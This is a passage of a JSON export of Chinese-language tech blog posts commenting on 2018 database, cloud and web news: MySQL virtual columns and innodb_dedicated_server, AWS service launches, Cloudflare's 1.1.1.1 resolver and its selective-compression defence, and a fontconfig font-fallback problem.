    "body": "<a href=\"https://www.percona.com/\">Percona</a> 介紹了 <a href=\"https://dev.mysql.com/\">MySQL</a> 8.0 將會推出的 <code>innodb_dedicated_server</code> 參數：「<a href=\"https://www.percona.com/blog/2018/03/26/mysql-8-0-innodb_dedicated_server-variable-optimizes-innodb/\">New MySQL 8.0 innodb_dedicated_server Variable Optimizes InnoDB from the Get-Go</a>」，Oracle 官方的文件在「<a href=\"https://dev.mysql.com/doc/refman/8.0/en/innodb-dedicated-server.html\">15.6.13 Enabling Automatic Configuration for a Dedicated MySQL Server</a>」這邊可以翻到。\r\n\r\n這是針對整台機器完全給 MySQL 用的情況所設計的參數。在這種情況下，可以透過 RAM 的大小以及一些簡單的公式，得到還算堪用的系統參數...\r\n\r\n依照說明，可以看到系統會依照記憶體的大小自動計算出 <code>innodb_buffer_pool_size</code>、<code>innodb_log_file_size</code> 這兩個參數，並且把 <code>innodb_flush_method</code> 設為 <code>O_DIRECT_NO_FSYNC</code> (如果所在平台有支援這個值)。\r\n\r\n不過看了一下公式，依照經驗可以設的更積極一點... 像是 Percona 文章裡提到的，當記憶體夠大時，其實可以考慮從 80% 開始調整大小 (<code>innodb_buffer_pool_size</code>)：\r\n\r\n<blockquote>For InnoDB buffer pool size (based on this article), consider allocating 80% of physical RAM for starters. You can increase it to as large as needed and possible, as long as the system doesn’t swap on the production workload.</blockquote>\r\n\r\n而 <code>innodb_log_file_size</code> 則應該要分析寫入的 pattern 而不是直接看 RAM 大小。有些機器雖然很大台但幾乎沒有寫入的量，照著公式的值就偏大很多：\r\n\r\n<blockquote>For InnoDB log file size, it should be able to handle one hour of writes to allow InnoDB to optimize writing the redo log to disk. You can calculate an estimate by following the steps here, which samples one minute worth of writes to the redo log. You could also get a better estimate from hourly log file usage with Percona Monitoring and Management (PMM) graphs.</blockquote>\r\n\r\n不過基本上 tune 出來的值還算堪用，對於剛入手的人頗有幫助。",
    "title": "MySQL 8.0 的 innodb_dedicated_server"
  },
  {
    "id": "8225",
    "body": "自己搞不定，加上需要有圖才比較好理解，所以發篇文章問看看...\r\n\r\n起因是在 <a href=\"https://twitter.com/\">Twitter</a> 上發現某篇文章的截圖，在我的機器上顯示是 sans-serif 類的字型，而對方顯示的是 serif (看起來像是 <a href=\"https://www.apple.com/mac/\">Mac</a> 的機器上)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KQw04Ey.webp\" /><img src=\"https://i.gslin.com/imgur/KQw04Ey.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/qdWq4nT.webp\" /><img src=\"https://i.gslin.com/imgur/qdWq4nT.jpg\" alt=\"\" /></picture>\r\n\r\n而翻了網站本身的 CSS 設定，發現是設成 serif，所以表示我這邊的設定有問題...\r\n\r\n找了些資料並且測試，發現是 <a href=\"https://en.wikipedia.org/wiki/Linux\">Linux</a> 上 <a href=\"https://fontconfig.org/\">fontconfig</a> 所設計的 fallback 機制跟一般人認知的不一樣，使得 CSS <code>font-family</code> fallback 機制直接失效...\r\n\r\n在那篇文章的 <code>font-family</code> 設定是「<code>medium-content-serif-font,Georgia,Cambria,\"Times New Roman\",Times,serif</code>」，所以你會假設 <code>medium-content-serif-font</code> (這是 <a href=\"https://medium.com/\">Medium</a> 設定的 web fonts) 內沒有的字型會去 <code>Georgia</code> 找，然後依序是 <code>Cambria</code>、<code>Times New Roman</code> 與 <code>Times</code>，最後到 <code>serif</code>。\r\n\r\n但在 Linux 下的 fontconfig 的設計則跟這點衝突。當你丟 <code>medium-content-serif-font</code> 查詢時，系統會將全系統有的字型都給你 (但是排序好)，而不是只有找 <code>medium-content-serif-font</code> 這個字型：\r\n\r\n<pre>gslin@GSLIN-HOME [~] [22:11/W2] fc-match -s 'medium-content-serif-font' | wc -l\r\n122\r\ngslin@GSLIN-HOME [~] [22:11/W2] fc-match -s 'medium-content-serif-font' | head \r\nFreeMono.ttf: \"FreeMono\" \"Regular\"\r\nFreeSans.ttf: \"FreeSans\" \"Regular\"\r\nFreeSerif.ttf: \"FreeSerif\" \"Regular\"\r\nopens___.ttf: \"OpenSymbol\" \"Regular\"\r\nLinLibertine_R_G.ttf: \"Linux Libertine G\" \"Regular\"\r\nNorasi.ttf: \"Norasi\" \"Regular\"\r\nKacstOne.ttf: \"KacstOne\" \"Regular\"\r\nFiraSans-Regular.otf: \"Fira Sans\" \"Regular\"\r\nNanumGothic.ttf: \"NanumGothic\" \"Regular\"\r\nfonts-japanese-gothic.ttf: \"TakaoPGothic\" \"Regular\"</pre>\r\n\r\n而因為將所有系統內有的字型都放進去了，所以 <code>font-family</code> 第二個設定基本上都沒用了，因為我裝了一堆語系的文字... Orz\r\n\r\n而我想要關閉這套機制，卻發現看起來關不掉：「<a href=\"https://unix.stackexchange.com/questions/57394/how-to-block-glyph-fallback-on-linux\">How to block glyph fallback on Linux?</a>」。\r\n\r\n後來想要找 workaround 來解這個問題，不過看起來沒有堪用的 workaround。所以就來問問看有沒有人有建議...？",
    "title": "fontconfig fallback 機制與 CSS font-family fallback 機制的衝突..."
  },
  {
    "id": "8227",
    "body": "去年年底的時候 <a href=\"https://www.percona.com/\">Percona</a> 的人在 <a href=\"https://aws.amazon.com/\">AWS</a> 上測試 <a href=\"https://www.percona.com/software/mysql-database/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 的效能，尤其是針對底層應該選擇哪種 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> 的部分給了一些建議。可以參考先前寫的「<a href=\"https://blog.gslin.org/archives/2017/12/03/7884/percona-%E5%88%86%E6%9E%90%E5%9C%A8-aws-%E4%B8%8A%E8%B7%91-percona-xtradb-cluster-%E7%9A%84%E6%95%88%E8%83%BD-i-o-bound/\">Percona 分析在 AWS 上跑 Percona XtraDB Cluster 的效能 (I/O bound)</a>」這篇。\r\n\r\n當時的建議是用 <code>io1</code>，雖然是比較貴，但對於效能比較好。\r\n\r\n而後來 Percona 的人收到 AWS 工程師的建議，可以用另外一個方式，可以在 <code>gp2</code> 上拉出類似的效能，但成本會比 <code>io1</code> 低不少：「<a href=\"https://www.percona.com/blog/2018/03/28/percona-xtradb-cluster-on-amazon-gp2-volumes/\">Percona XtraDB Cluster on Amazon GP2 Volumes</a>」。\r\n\r\n這個方式是利用 <code>gp2</code> 會依照空間大小，計算可用的 IOPS。在官方的文件裡是這樣描述 <code>gp2</code> 的效能 (IOPS)：\r\n\r\n<blockquote>General Purpose SSD (gp2) volumes offer cost-effective storage that is ideal for a broad range of workloads. These volumes deliver single-digit millisecond latencies and the ability to burst to 3,000 IOPS for extended periods of time. Between a minimum of 100 IOPS (at 33.33 GiB and below) and a maximum of 10,000 IOPS (at 3,334 GiB and above), baseline performance scales linearly at 3 IOPS per GiB of volume size. AWS designs gp2 volumes to deliver the provisioned performance 99% of the time. A gp2 volume can range in size from 1 GiB to 16 TiB.</blockquote>\r\n\r\n在這個前提下，需要 10000 IOPS 的效能會需要 3.3TB 以上的空間，所以 Percona 就被 AWS 的工程師建議直接拉高空間重新測試：\r\n\r\n<blockquote>After publishing our material, Amazon engineers pointed that we should try GP2 volumes with the size allocated to provide 10000 IOPS. If we allocated volumes with size 3.3 TiB or more, we should achieve 10000 IOPS.</blockquote>\r\n\r\n首先是測出來的效能，可以看到沒有太大差異：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/z5wkJ5B.webp\" /><img src=\"https://i.gslin.com/imgur/z5wkJ5B.jpg\" alt=\"\" /></picture>\r\n\r\n接下來就比較儲存成本，大約是 <code>io1</code> 版本的一半價錢：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Trs9LXg.webp\" /><img src=\"https://i.gslin.com/imgur/Trs9LXg.jpg\" alt=\"\" /></picture>\r\n\r\n如上面文件中提到的，<code>gp1</code> 不完全保證效能，但統計出來經常能夠提供出 3 IOPS/GB 的效能。而 <code>io1</code> 則是保證效能，不太需要擔心效能不穩定的問題。就是這個差異，反應到成本上面就有蠻大的差距。善用這點設計系統，應該會對整體成本有蠻大的幫助... (但對 latency 就未必了，尤其是 P99 之類的數值)\r\n\r\n算是另外一種搞法讓大家可以考慮...",
    "title": "Percona 的人接受 AWS 的建議，重新測試了 Percona XtraDB Cluster 在 gp2 上的效能..."
  },
  {
    "id": "8228",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 推出了 <code>1.1.1.1</code> 上的 DNS Resolver 服務：「<a href=\"https://blog.cloudflare.com/announcing-1111/\">Announcing 1.1.1.1: the fastest, privacy-first consumer DNS service</a>」，主打項目是隱私以及效能。\r\n\r\n然後因為這個 IP 的特殊性，上面有不少奇怪的流量... 而 Cloudflare 跟 <a href=\"https://www.apnic.net/\">APNIC</a> 交換條件後取得這個 IP address 的使用權 (然後 anycast 發出去)：\r\n\r\n<blockquote>APNIC's research group held the IP addresses 1.1.1.1 and 1.0.0.1. While the addresses were valid, so many people had entered them into various random systems that they were continuously overwhelmed by a flood of garbage traffic. APNIC wanted to study this garbage traffic but any time they'd tried to announce the IPs, the flood would overwhelm any conventional network.\r\n\r\nWe talked to the APNIC team about how we wanted to create a privacy-first, extremely fast DNS system. They thought it was a laudable goal. We offered Cloudflare's network to receive and study the garbage traffic in exchange for being able to offer a DNS resolver on the memorable IPs. And, with that, 1.1.1.1 was born.</blockquote>\r\n\r\nCloudflare 做了效能比較表 (與 <a href=\"https://developers.google.com/speed/public-dns/\">Google Public DNS</a> 及 <a href=\"https://www.opendns.com/\">OpenDNS</a> 比較)，可以看到平均速度快不少：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/plYneyi.webp\" /><img src=\"https://i.gslin.com/imgur/plYneyi.jpg\" alt=\"\" /></picture>\r\n\r\n在台灣的話，<a href=\"https://www.hinet.net/\">HiNet</a> 非固定制 (也就是 PPPoE 連線的使用者) 連到 <code>8.8.8.8</code> 有奇怪的 latency：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/N1TvGqY.webp\" /><img src=\"https://i.gslin.com/imgur/N1TvGqY.jpg\" alt=\"\" /></picture>\r\n\r\n可以比較同一台機器對 <code>168.95.1.1</code> 的反應速度：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TBtHgMX.webp\" /><img src=\"https://i.gslin.com/imgur/TBtHgMX.jpg\" alt=\"\" /></picture>\r\n\r\n不過如果你是 HiNet 固定制 (固 2 或是固 6 IP 那種，不透過 PPPoE，直接設定 IP address 使用 bridge mode 連線的使用者)，兩者的 latency 就差不多，不知道是 <a href=\"https://www.google.com/\">Google</a> 還是 HiNet 的架構造成的。\r\n\r\n<del>另外比較奇怪的一點是在文章最後面提到的 <code>https://1.1.1.1/</code>，理論上不會發 IP-based 的 SSL certificate 才對？不知道 CEO 老大是有什麼誤解... XD\r\n\r\n<blockquote>Visit https://1.1.1.1/ from any device to get started with the Internet's fastest, privacy-first DNS service.</blockquote></del>\r\n\r\n<strong>Update</strong>：查了資料發現是可以發的，只是大多數的 CA 沒有提供而已...",
    "title": "Cloudflare 推出 1.1.1.1 的 DNS Resolver 服務"
  },
  {
    "id": "8230",
    "body": "<a href=\"https://aws.amazon.com/dynamodb/\">Amazon DynamoDB</a> 在 3/26 發出來的功能，以秒為單位的備份與還原機制：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-dynamodb-continuous-backups-and-point-in-time-recovery-pitr/\">New – Amazon DynamoDB Continuous Backups and Point-In-Time Recovery (PITR)</a>」。\r\n\r\n先打開這個功能：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QLJbggk.webp\" /><img src=\"https://i.gslin.com/imgur/QLJbggk.jpg\" alt=\"\" /></picture>\r\n\r\n打開後就會開始記錄，最多可以還原 35 天內的任何一個時間點的資料：\r\n\r\n<blockquote>DynamoDB can back up your data with per-second granularity and restore to any single second from the time PITR was enabled up to the prior 35 days.</blockquote>\r\n\r\n這時候就算改變資料或是刪除資料，實際上在系統內都是 <a href=\"https://en.wikipedia.org/wiki/Copy-on-write\">Copy-on-write</a> 操作，所以需要另外的空間，這部份會另外計價：\r\n\r\n<blockquote>Pricing for continuous backups is detailed on the DynamoDB Pricing Pages. Pricing varies by region and is based on the current size of the table and indexes. For example, in US East (N. Virginia) you pay $0.20 per GB based on the size of the data and all local secondary indexes.</blockquote>\r\n\r\n有這樣的功能通常是一開始設計時就有考慮 (讓底層的資料結構可以很方便的達成這樣的效果)，現在只是把功能實作出來... 像 <a href=\"https://dev.mysql.com/\">MySQL</a> 之類的軟體就沒辦法弄成這樣 XDDD\r\n\r\n最後有提到支援的地區，是用條列的而不是說所有有 Amazon DynamoDB 的區域都支援：\r\n\r\n<blockquote>PITR is available in the US East (N. Virginia), US East (Ohio), US West (N. California), US West (Oregon), Asia Pacific (Tokyo), Asia Pacific (Seoul), Asia Pacific (Mumbai), Asia Pacific (Singapore), Asia Pacific (Sydney), Canada (Central), EU (Frankfurt), EU (Ireland), EU (London), and South America (Sao Paulo) Regions starting today.</blockquote>\r\n\r\n比對一下，應該是巴黎與美國政府用的區域沒進去... 一個是去年年底開幕的區域，另一個是本來上新功能就偏慢的區域。",
    "title": "Amazon DynamoDB 的 Point-In-Time Recovery"
  },
  {
    "id": "8243",
    "body": "看到 <a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2018/03/29/using-proxysql-and-virtual-columns-to-solve-orm-issues/\">Using ProxySQL and VIRTUAL Columns to Solve ORM Issues</a>」這篇後去找 VIRTUAL 的資料，發現其實以前就寫過了，而且是兩年前寫的了：「<a href=\"https://blog.gslin.org/archives/2016/03/09/6406/mysql-5-7-%E7%9A%84-json%E3%80%81virtual-column-%E4%BB%A5%E5%8F%8A-index/\">MySQL 5.7 的 JSON、Virtual Column 以及 Index</a>」。\r\n\r\n在 <a href=\"https://en.wikipedia.org/wiki/Second_normal_form\">2NF</a> 的規範中會禁止資料的重複性以及可推導性。以這樣的資料結構開始：\r\n\r\n<pre>CREATE TABLE t1 (\r\n    id INT PRIMARY KEY AUTO_INCREMENT,\r\n    birth DATE\r\n);</pre>\r\n\r\n與後者這樣延伸出來的資料結構：\r\n\r\n<pre>CREATE TABLE t2 (\r\n    id INT PRIMARY KEY AUTO_INCREMENT,\r\n    birth DATE,\r\n    year INT,\r\n    month INT,\r\n    day INT\r\n);</pre>\r\n\r\n其中 <code>t2</code> 裡的 <code>year</code>、<code>month</code>、<code>day</code> 都可以被 <code>birth</code> 推導，這就卡到 2NF... 會有 <code>t2</code> 這樣的資料結構通常都是因為效能而需要的設計。\r\n\r\n像是 <code>SELECT * FROM t1 WHERE MONTH(birth) = 12;</code> 這樣的 SQL query，即使在 <code>birth</code> 加上 index 也沒用，因為查詢條件不是某個連續的區間。另外建出 <code>month</code> 欄位，再對 <code>month</code> 建立 index 後，<code>SELECT * FROM t2 WHERE month = 12;</code> 才能利用這組 index 提昇效能。\r\n\r\n但後者的設計會導致兩個問題，一個是空間的增加，另外一個是資料一致性管理的成本。\r\n\r\n空間的增加還蠻好解釋的，來自於多了 <code>year</code>、<code>month</code>、<code>day</code> 這些欄位要儲存。而資料一致性管理的成本是因為你沒有強制性的方式讓 <code>year</code>、<code>month</code>、<code>day</code> 的值與 <code>birth</code> 的內容一致，也就是資料庫內有可能會有 <code>birth</code> 是 <code>2018-01-01</code>，但 <code>month</code> 裡卻是 <code>2</code> 之類的數字。\r\n\r\n一致性在 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 有 constraint 與 function 計算可以擋下，但對應到 <a href=\"https://dev.mysql.com/\">MySQL</a> 的 constraint 就沒辦法用 function 判斷條件，變成需要在 MySQL 外的地方 workaround 確保一致性...\r\n\r\n而這次標題提到的 VIRTUAL column 算是 MySQL 5.7 推出來解這個問題的想法，我們可以這樣設計資料結構：\r\n\r\n<pre>CREATE TABLE t3 (\r\n    id INT PRIMARY KEY AUTO_INCREMENT,\r\n    birth DATE,\r\n    year INT AS (YEAR(birth)) VIRTUAL,\r\n    month INT AS (MONTH(birth)) VIRTUAL,\r\n    day INT AS (DAY(birth)) VIRTUAL\r\n);</pre>\r\n\r\n然後對 <code>month</code> 建立 index：\r\n\r\n<pre>ALTER TABLE t3 ADD INDEX idx__month (month);</pre>\r\n\r\n接著塞資料進去測試：\r\n\r\n<pre>INSERT INTO t3 (birth) VALUES ('2018-01-02');\r\nINSERT INTO t3 (birth) VALUES ('2018-01-03');</pre>\r\n\r\n拉資料可以看到，雖然塞資料進去時沒有指定 <code>year</code>、<code>month</code>、<code>day</code>，但拉資料時會計算出來：\r\n\r\n<pre>mysql&gt; SELECT * FROM t3;\r\n+----+------------+------+-------+------+\r\n| id | birth      | year | month | day  |\r\n+----+------------+------+-------+------+\r\n|  1 | 2018-01-02 | 2018 |     1 |    2 |\r\n|  2 | 2018-01-03 | 2018 |     1 |    3 |\r\n+----+------------+------+-------+------+\r\n2 rows in set (0.00 sec)</pre>\r\n\r\n也可以看到 VIRTUAL column 的唯讀特性：\r\n\r\n<pre>mysql&gt; INSERT INTO t3 (year) VALUES (2018);\r\nERROR 3105 (HY000): The value specified for generated column 'year' in table 't3' is not allowed.</pre>\r\n\r\n當你資料量夠多時，可以用 <code>EXPLAIN</code> 看 MySQL 的 optimizer 會使用哪個 index (太少的時候會 table scan...)：\r\n\r\n<pre>mysql&gt; EXPLAIN SELECT * FROM t3 WHERE month = 2 \\G\r\n*************************** 1. row ***************************\r\n           id: 1\r\n  select_type: SIMPLE\r\n        table: t3\r\n   partitions: NULL\r\n         type: ref\r\npossible_keys: idx__month\r\n          key: idx__month\r\n      key_len: 5\r\n          ref: const\r\n         rows: 4\r\n     filtered: 100.00\r\n        Extra: NULL\r\n1 row in set, 1 warning (0.00 sec)</pre>\r\n\r\n在這個例子裡用的欄位比較簡單，但如果在更複雜的案例裡面，應該會有更多地方可以發揮 (因為可以用 function 計算，這使得很多可能性跑出來)，像是 Percona 的原文是以 application 沒辦法修改程式碼的前提下，可以在 <a href=\"http://www.proxysql.com/\">ProxySQL</a> 與 MySQL 端做出哪些改變讓效能變好。\r\n\r\n應該是有不少情境可以用，再多想看看好了...",
    "title": "MySQL 5.7 的 VIRTUAL column 與 index"
  },
  {
    "id": "8244",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 的「<a href=\"https://www.percona.com/blog/2018/04/03/leveraging-proxysql-with-aws-aurora-for-performance/\">Leveraging ProxySQL with AWS Aurora to Improve Performance, Or How ProxySQL Out-performs Native Aurora Cluster Endpoints</a>」這篇有夠長的，其實就是發現 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 只使用 Cluster Endpoint 無法壓榨出所有效能，只有當你讀寫分離拆開 Cluster endpoint 與 Reader endpoint 時才能提昇效能。主要是在推銷 <a href=\"http://www.proxysql.com/\">ProxySQL</a> 啦，其他的軟體應該也能達到類似的效果...\r\n\r\n然後這張怪怪的，應該是 copy &amp; paste 上去的關係？\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/F2qVOqK.webp\" /><img src=\"https://i.gslin.com/imgur/F2qVOqK.jpg\" alt=\"\" /></picture>\r\n\r\n因為事後再疊 ProxySQL 進去不會太困難，一般還是建議先直接用服務本身提供的 endpoint (少了一層要維護的設備)，等到有遇到效能問題時再來看是卡在哪邊，如果是 R/W split 可以解決的，才用 ProxySQL 或是其他軟體來解...",
    "title": "在 Amazon Aurora 利用 ProxySQL 的讀寫分離提昇效能"
  },
  {
    "id": "8245",
    "body": "前陣子在「<a href=\"https://www.reddit.com/r/gpumining/comments/86ofw2/rent_out_your_gpu_compute_to_ai_researchers_and/\">Rent out your GPU compute to AI researchers and make ~2x more than mining the most profitable cryptocurrency.</a>」這邊看到的消息，服務網站是「<a href=\"https://vectordash.com/\">Vectordash: GPU instances for deep learning</a>」。\r\n\r\n起因是搞計算的弄不到顯卡計算，而雲服務的 GPU 又太貴，所以再找方法解決... 結果注意到 cryptocurrency 計算的獲利與雲服務的 GPU 中間有不少差價，於是就弄出一個服務來媒合手上有顯卡與需要科學計算的人，一邊提供較高的獲利給本來在挖礦的人，另外一邊提供較低的價錢給需要科學計算的人。\r\n\r\n目前支援的平台有限 (<a href=\"https://www.nvidia.com/\">Nvidia</a> 的顯卡，另外不支援 Windows，不知道是不是 Linux only)，其他支援目前都還沒列 ETA，不過感覺是個解決大家痛點的服務 (而且挖礦這邊就是在拼獲利)，應該有機會弄得很大...\r\n\r\n繼續觀望... XD",
    "title": "出租 GPU 的服務..."
  },
  {
    "id": "8246",
    "body": "也是個放在 tab 上一陣子的連結，<a href=\"https://www.qubes-os.org/\">Qubes OS</a> 推出了 4.0 版：「<a href=\"https://www.qubes-os.org/news/2018/03/28/qubes-40/\">Qubes OS 4.0 has been released!</a>」。這個作業系統的副標蠻有趣的，不是「絕對安全的作業系統」，而是用了 「reasonably」這樣的描述：\r\n\r\n<blockquote>A reasonably secure operating system</blockquote>\r\n\r\n主要是透過虛擬機隔離，但實做了常見會因為虛擬機而被擋下的功能，像是讓你可以直接剪下貼上。而界面上也是儘量做成無縫，像是這張 screenshot 就可以看到三個環境，但儘量給出視窗的感覺，而非 VM 的感覺：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/keIpnTC.webp\" /><img src=\"https://i.gslin.com/imgur/keIpnTC.jpg\" alt=\"\" /></picture>\r\n\r\n有機會重灌的時候再說好了，系統轉移好累... Orz",
    "title": "Qubes OS 4.0 推出"
  },
  {
    "id": "8247",
    "body": "在 TLS (HTTPS) 環境下基本上都不能開壓縮，主要是為了避免 secret token 會因為 dictionary 的可預測性而被取出，像是 <a href=\"https://en.wikipedia.org/wiki/CRIME\">CRIME</a>、<a href=\"http://breachattack.com/\">BREACH</a>、<a href=\"https://www.blackhat.com/eu-13/briefings.html#Beery\">TIME</a>、<a href=\"https://www.blackhat.com/docs/us-16/materials/us-16-VanGoethem-HEIST-HTTP-Encrypted-Information-Can-Be-Stolen-Through-TCP-Windows-wp.pdf\">HEIST</a> (沒完結過...)，而因為全面關閉壓縮，對於效能的影響很大。\r\n\r\n而 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 就試著去找方法，是否可以維持壓縮，但又不會洩漏 secret token 的方式，於是就有了這篇：「<a href=\"https://blog.cloudflare.com/a-solution-to-compression-oracles-on-the-web/\">A Solution to Compression Oracles on the Web</a>」。\r\n\r\n重點在於 Our Solution 這段的開頭：\r\n\r\n<blockquote>We decided to use selective compression, compressing only non-secret parts of a page, in order to stop the extraction of secret information from a page.</blockquote>\r\n\r\n透過 regex 判斷那些東西屬於 secret token，然後對這些資料例外處理不要壓縮，而其他的部份就可以維持壓縮。這樣傳輸量仍然可以大幅下降，但不透漏 secret token。然後因為這個想法其實很特別，沒有被實證過，所以成立了 <a href=\"https://compression.website/\">Challenge Site</a> 讓大家打：\r\n\r\n<blockquote>We have set up the challenge website <a href=\"https://compression.website/\">compression.website</a> with protection, and a clone of the site <a href=\"https://compression.website/unsafe/\">compression.website/unsafe</a> without it. The page is a simple form with a per-client CSRF designed to emulate common CSRF protection. Using the example attack presented with the library we have shown that we are able to extract the CSRF from the size of request responses in the unprotected variant but we have not been able to extract it on the protected site. We welcome attempts to extract the CSRF without access to the unencrypted response.</blockquote>\r\n\r\n這個方向如果可行的話，應該會有人發展一些標準讓 compression algorithm 不用猜哪些是 secret token，這樣一來就更能確保因為漏判而造成的 leaking...",
    "title": "Cloudflare 推出在 HTTPS 下的壓縮機制"
  },
  {
    "id": "8248",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"http://jeff-barr.com/\">Jeff Barr</a> 的說明：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">We recently added a fourth Availability Zone to the AWS Asia Pacific (Tokyo) Region - <a href=\"https://t.co/fa1cBkyoWI\">https://t.co/fa1cBkyoWI</a> <a href=\"https://t.co/Y1XQKrBmZo\">pic.twitter.com/Y1XQKrBmZo</a></p>&mdash; Jeff Barr ☁️ (@jeffbarr) <a href=\"https://twitter.com/jeffbarr/status/981285098950598656?ref_src=twsrc%5Etfw\">April 3, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n居然默默地開了第四個 AZ 了... 不過大阪什麼時候要開放啊，以機房成本以及電力成本應該都會比東京低的前提下，不知道公告價錢會不會比較低...",
    "title": "AWS 在東京開第四個 AZ"
  },
  {
    "id": "8250",
    "body": "<a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 的 <a href=\"https://nodejs.org/\">Node.js</a> 宣佈支援目前最新的 LTS 版本，v8.10：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/04/aws-lambda-supports-nodejs/\">AWS Lambda Supports Node.js v8.10</a>」。\r\n\r\n<blockquote>You can now develop your AWS Lambda functions using Node.js v8.10. In addition to the leveraging new features in Node.js v8.10 such as the new V8 6.0 engine, Lambda functions written in Node.js 8.10 can now use the async/await pattern to specify error or return values for the function execution. </blockquote>\r\n\r\n就如同公告裡提到的，有很多語言特性是大家等很久的... 有些老東西可以考慮重寫 :o",
    "title": "AWS Lambda 支援 Node.js v8.10"
  },
  {
    "id": "8251",
    "body": "<a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 有 RRS，提供給那些掉了可以重新產生的資料使用 (像是縮圖)；另外也有 IA，提供給不常存取的資料使用。現在推出的這個等級結合了兩者，使得價錢更低：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-s3-update-new-storage-class-general-availability-of-s3-select/\">Amazon S3 Update: New Storage Class and General Availability of S3 Select</a>」。\r\n\r\n<blockquote>New S3 One Zone-IA Storage Class – This new storage class is 20% less expensive than the existing Standard-IA storage class. It is designed to be used to store data that does not need the extra level of protection provided by geographic redundancy.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hpFwHFS.webp\" /><img src=\"https://i.gslin.com/imgur/hpFwHFS.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gMy9MF7.webp\" /><img src=\"https://i.gslin.com/imgur/gMy9MF7.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QBXtld8.webp\" /><img src=\"https://i.gslin.com/imgur/QBXtld8.jpg\" alt=\"\" /></picture>",
    "title": "Amazon S3 推出新的等級 One Zone-IA"
  },
  {
    "id": "8252",
    "body": "<a href=\"https://aws.amazon.com/certificate-manager/\">AWS Certificate Manager</a> 推出了 Private CA，讓使用者可以在不接觸到 CA 的 Private Key 就可以操作 CA 行為：「<a href=\"https://aws.amazon.com/blogs/aws/aws-certificate-manager-launches-private-certificate-authority/\">AWS Certificate Manager Launches Private Certificate Authority</a>」。\r\n\r\n支援的演算法除了標準的 <a href=\"https://en.wikipedia.org/wiki/RSA_(cryptosystem)\">RSA</a> 外，還包括了 <a href=\"https://en.wikipedia.org/wiki/Elliptic-curve_cryptography\">ECC</a> 的 (雖然是 <a href=\"https://www.nist.gov/\">NIST</a> 的 P-256 與 P-384)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xq2XTLZ.webp\" /><img src=\"https://i.gslin.com/imgur/xq2XTLZ.jpg\" alt=\"\" /></picture>\r\n\r\n然後直接內建了 CRL 服務，透過 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 做：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/yIqFRN6.webp\" /><img src=\"https://i.gslin.com/imgur/yIqFRN6.jpg\" alt=\"\" /></picture>\r\n\r\n要注意的是價錢有點奇怪：\r\n\r\n<blockquote>Private CAs cost $400 per month (prorated) for each private CA. You are not charged for certificates created and maintained in ACM but you are charged for certificates where you have access to the private key (exported or created outside of ACM). The pricing per certificate is tiered starting at $0.75 per certificate for the first 1000 certificates and going down to $0.001 per certificate after 10,000 certificates.</blockquote>\r\n\r\n中間省掉 1k 到 10k 是 USD$0.35/cert (可以在 pricing 頁面看到)。\r\n\r\n不管如何，這計價模式有點怪怪的... 收了固定的費用，每個 certificate 的費用要到 USD$0.75，這看不太懂。另外是 10k 後的單價明顯與前面比例不太合。\r\n\r\n看起來像是跟某個 partner 合作談出來奇怪的 pricing model，但也不知道是哪家... :o",
    "title": "AWS Certificate Manager 提供 Private CA"
  },
  {
    "id": "8253",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出 <a href=\"https://aws.amazon.com/secrets-manager/\">AWS Secrets Manager</a>，你可以把各種帳號密碼丟進去讓系統管理，另外內建 rotate 的功能，針對 AWS 支援的服務可以無縫更換密碼 (目前看起來是 <a href=\"https://aws.amazon.com/rds/\">RDS</a>)，或是透過 <a href=\"https://aws.amazon.com/lambda/\">Lambda</a> 換：「<a href=\"https://aws.amazon.com/blogs/aws/aws-secrets-manager-store-distribute-and-rotate-credentials-securely/\">AWS Secrets Manager: Store, Distribute, and Rotate Credentials Securely</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fP13GVS.webp\" /><img src=\"https://i.gslin.com/imgur/fP13GVS.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/TWZSwV4.webp\" /><img src=\"https://i.gslin.com/imgur/TWZSwV4.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source 